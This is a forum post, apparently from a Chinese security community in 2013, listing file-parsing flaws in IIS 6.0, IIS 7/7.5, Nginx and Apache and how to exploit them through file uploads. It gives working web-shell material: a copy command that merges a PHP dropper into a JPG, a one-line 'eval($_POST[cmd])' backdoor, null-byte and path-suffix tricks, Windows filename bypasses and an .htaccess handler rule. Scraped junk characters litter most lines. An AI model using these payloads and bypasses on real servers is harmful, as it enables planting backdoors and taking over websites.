找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2853|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Author : laterain' a( i* |7 W0 @, ]7 s" o% N
[+]IIS6.0$ _) V8 z! E$ Y- ?

" U3 D' b5 Y6 Z2 w% h目录解析:/xx.asp/xx.jpg & e; C% A5 w. l  N. S: ?
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码4 o' c7 o& V) j" p
IIS6.0 会将 xx.jpg 解析为 asp 文件。
( h6 K- n$ f. G( ?2 X# @  Q后缀解析:/xx.asp;.jpg     
3 k# G5 W9 w$ m9 c  ^& `, r, j  [ IIS6.0 都会把此类后缀文件成功解析为 asp 文件。& _/ Q* A3 ]& ~9 z
默认解析:/xx.asa0 [' w- \2 a5 a8 B9 ?
         /xx.cer
/ q5 u! _. R% ^/ w; h2 U1 {, ]         /xx.cdx
* D$ Z! x% p2 i  b* g% U6 [) f IIS6.0 默认的可执行文件除了 asp 还包含这三种
2 v" S. g% `, E2 i) @$ u 此处可联系利用目录解析漏洞 1 v9 I  J% z* o( d  ?+ f, m1 ~% f% Y9 [
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
. F* G" j  D/ z# y9 p: @1 w9 M" W[+]IIS 7.0/IIS 7.5/Nginx <0.8.03% i1 x1 L8 u' r2 O. ?
! T! J" l5 [6 |7 H1 ?% Q/ O2 N& z
IIS 7.0/IIS 7.5/Nginx <0.8.033 V9 I/ G" h- F: E8 s& [  h& }
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面2 i6 I5 c- i5 g+ Y' V" h) d- s
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
6 B- S8 D# V0 c* B6 E4 ? 常用利用方法:  C) g. _; t! |# D  b2 N8 Y
将一张图和一个写入后门代码的文本文件合并将恶意文本
& ~$ [  Z* v9 }5 q 写入图片的二进制代码之后,避免破坏图片文件头和尾% @0 |4 r7 u# e  @$ ~& t$ `
如:& r8 b: x% {' w" K- ~8 S' [
copy xx.jpg /b + yy.txt/a xy.jpg7 Z2 L2 M! T. s. D7 U
#########################################################
# k; H# m9 P9 R+ @( V /b 即二进制[binary]模式- h! ^* n6 D3 R7 W
/a 即ascii模式
- |7 y; E3 T* F+ j$ U% c xx.jpg 正常图片文件* g) k0 Q4 P" j
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
1 Q+ A; A, p, R+ m% i. c '<?php eval($_POST[cmd])?>');?>
1 @: n3 m8 u: @ 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
5 Z6 B) D4 H& H$ d/ x' ^ 为shell.php的文件( U+ G+ y8 G+ i2 V0 o! y3 ~5 g
###########################################################
) p; V+ w7 _( U6 |6 x3 a 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
  V1 R" Y! m/ B+ x# B 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
: N& S6 {- L! c3 K 密码 cmd6 N6 U. p' ^, z' }. H2 E& b
[+]Nginx <0.8.03
2 A$ W) J, {: l3 T$ n( w7 v
9 C: D4 |( v/ ?& O 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
( L, b" g& p5 U9 q5 V 在一个文件路径(/xx.jpg)后面加上%00.php
. a6 q* i5 V7 ]) I 会将 /xx.jpg%00.php 解析为 php 文件。
" Z" `; }+ d! i+ n" }+ {: i9 a1 i) {$ ?[+]Apache<0.8.03
$ G# |6 ^' K. n ! k5 i+ Z( i; }# }( I& ]
后缀解析:test.php.x1.x2.x3/ f- b! n/ W6 V) _
Apache将从右至左开始判断后缀,若x3非可识别后缀,9 V1 S$ j$ m/ n: f1 v3 ^8 K- m
再判断x2,直到找到可识别后缀为止,然后将该可识别5 q8 g2 E: h$ h/ a: y
后缀进解析test.php.x1.x2.x3 则会被解析为php4 d: x2 j( P- Y) t
经验之谈:php|php3|phtml 多可被Apache解析。3 q& n8 ]4 U+ |9 I5 x. \
[+]其他一些可利用的
9 k& Q, M- H# a# D1 |: z+ p: z" T7 N
* W1 v" Q. ~& `5 i; q7 o在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的% o1 c5 E' S! X% w( h& \
若这样命名,windows会默认除去空格或点,这也是可以被利用的!5 k) |, P( S; U
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格% i& u' c% [8 d
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
0 e. \# f5 m7 W. K% }" Y) `得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
2 ], l1 S2 L% C# T: e{Linux主机中不行,Linux允许这类文件存在}" t, a! g9 }4 y6 T6 S& G
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说2 x: ^" Y8 A" `* f  w
的,当初我并不知道),且可以被上传,那可以尝试在
* b0 X9 x0 c; i' @0 a.htaccess中写入:
! q6 u  d, q6 C0 w<FilesMatch “shell.jpg”>
- Z3 A- M/ z# T, m: _3 b" `SetHandler application/x-httpd-php * @# P8 a+ E9 J! h' ?
</FilesMatch>4 x+ S* ?2 {6 X, p
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
* L+ j! N" [: m, j[+]错误修改
1 _- x* O( y6 \7 K  O5 ]( r
' A0 X9 P' N1 a' v8 G) Y- ?在 IIS 6.0 下可解析 /xx.asp:.jpg) o" j0 |/ `/ ^) d4 [4 ?
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
# g' _5 B1 F/ F) R! H0 I6 n$ O剩下/xx.asp}修改:
2 v, z. T( w; J+ d+ z& r5 |3 i先谢谢核攻击的提醒8 \, \) }$ X) k4 J5 C3 T: Z0 b9 O
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp2 t5 J' S7 }. A% `7 a8 n
里是没有任何内容的,因为。。不好解释 大家自己看& E% o, d8 j2 B/ U4 m
http://lcx.cc/?i=2448
, P% Z6 b9 q- W( P/ @, ~% l, f6 C* xhttp://baike.baidu.com/view/3619593.htm) ~+ C# @! N4 x# ^
  V" t( K# D2 ~3 K2 ?- M: w# A4 h& p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表